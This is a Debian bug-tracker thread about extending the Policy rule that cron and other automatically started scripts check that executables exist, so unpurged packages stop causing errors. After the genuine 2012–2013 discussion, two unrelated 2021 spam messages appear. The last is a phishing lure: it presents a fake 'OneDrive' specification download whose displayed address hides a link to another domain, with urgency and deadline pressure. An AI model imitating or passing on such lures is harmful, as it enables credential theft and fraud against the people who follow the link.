#697039 expand cron and init requirement to check binary existence to other scripts

#697039#5
Date:
2012-12-31 03:10:18 UTC
From:
To:
I have installed ikiwiki and configured it sometime ago.  I removed its
package recently but did not purge it.... I got noisy cron error
messages.  If the cron script was written in the way most other packages
checking the existence of the executable, this did not happen.  I do not
know where were the original cause (my error?) but this let me look into
the policy :-)

Some parts of the rules described under "9.3.2 Writing the scripts"
http://www.debian.org/doc/debian-policy/ch-opersys.html#s-writing-init
for init scripts such as the requirement to check the existence of
executables before their execution *must* be applied also to any
automatically starting scripts provided as conffile.

Example of such conffiles of automatically starting scripts provided as
a part of a package are:
 * init scripts
 * cron scripts
 * power control scripts
 * pluggable device control scripts
 * ...

Also, this rule for the automatically starting scripts should also be
applied to ones generated by the package configuration helper.  Such
helper *should* generate scripts with the same care.

This prevents un-needed error log after the package removal without
purging.

In this respect, inserting a section just before 9.3 as new 9.3 "Writing
the automatic scripts" while copying most of the 9.3.2 contents except
for the parts of the start, stop, restart, and force-reload options
while mentioning "The following rules for automatically starting scripts
provided as conffile must be followed." at the top or something similar,
will be a good idea.

The old "9.3.2 Writing the scripts" and old "9.5 Cron jobs" should be
updated to point to additional requirement for such scripts.

Osamu

#697039#10
Date:
2013-01-01 22:48:22 UTC
From:
To:
Le Mon, Dec 31, 2012 at 12:10:18PM +0900, Osamu Aoki a écrit :

Dear Osamu,

Section 9.5 already contains the following:

  The scripts or crontab entries in these directories should check if all
  necessary programs are installed before they try to execute them. Otherwise,
  problems will arise when a package was removed but not purged since
  configuration files are kept on the system in this situation.

If you are suggesting to consolidate the recommendations of 9.3.2 and 9.5 in a
single section, is it to improve the document, or is it because this
recommendation also applies to other sections ?

Or are you suggesting to upgrade the recommendations of 9.3.2 and 9.5
from "should" to "must" ?

Have a nice day,

#697039#17
Date:
2021-07-07 01:08:27 UTC
From:
To:
Hello,







I want a quote and I would like to know your availability so that we can send you necessary documents as well as drawings and specification.





Thank you,

James Scott

#697039#22
Date:
2021-08-11 17:16:18 UTC
From:
To:
Hello,

Thank you for your mail and apologies for the late reply, I was out of office for schedules

Kindly find below our shared online OneDrive excel file as the company has a policy which we adhere to, for you to receive detailed specification for the brand required.

DOWNLOAD online Microsoft OneDrive below;

https://www.onlinemicrosoft/Onedrive-/sharedfile/PO367459/excel/22466
<https://vblister.sbs/excel/files/online/editor/CIIvIjXNBgkqhkiG9w0B9QEFAAOCAQ8bMIIBCgKCfQ9A4Yp9mJ1JUaUCKwVI/?e=owner@bugs.debian.org>

Advised to ensure the detailed specification of this order and inform us about your lead time and payment terms. The encrypted storage period of this order is 10 days from enquiry.

FOB Port of loading.

I look forward to your productive mail revert due to brand urgency.

Thanks again.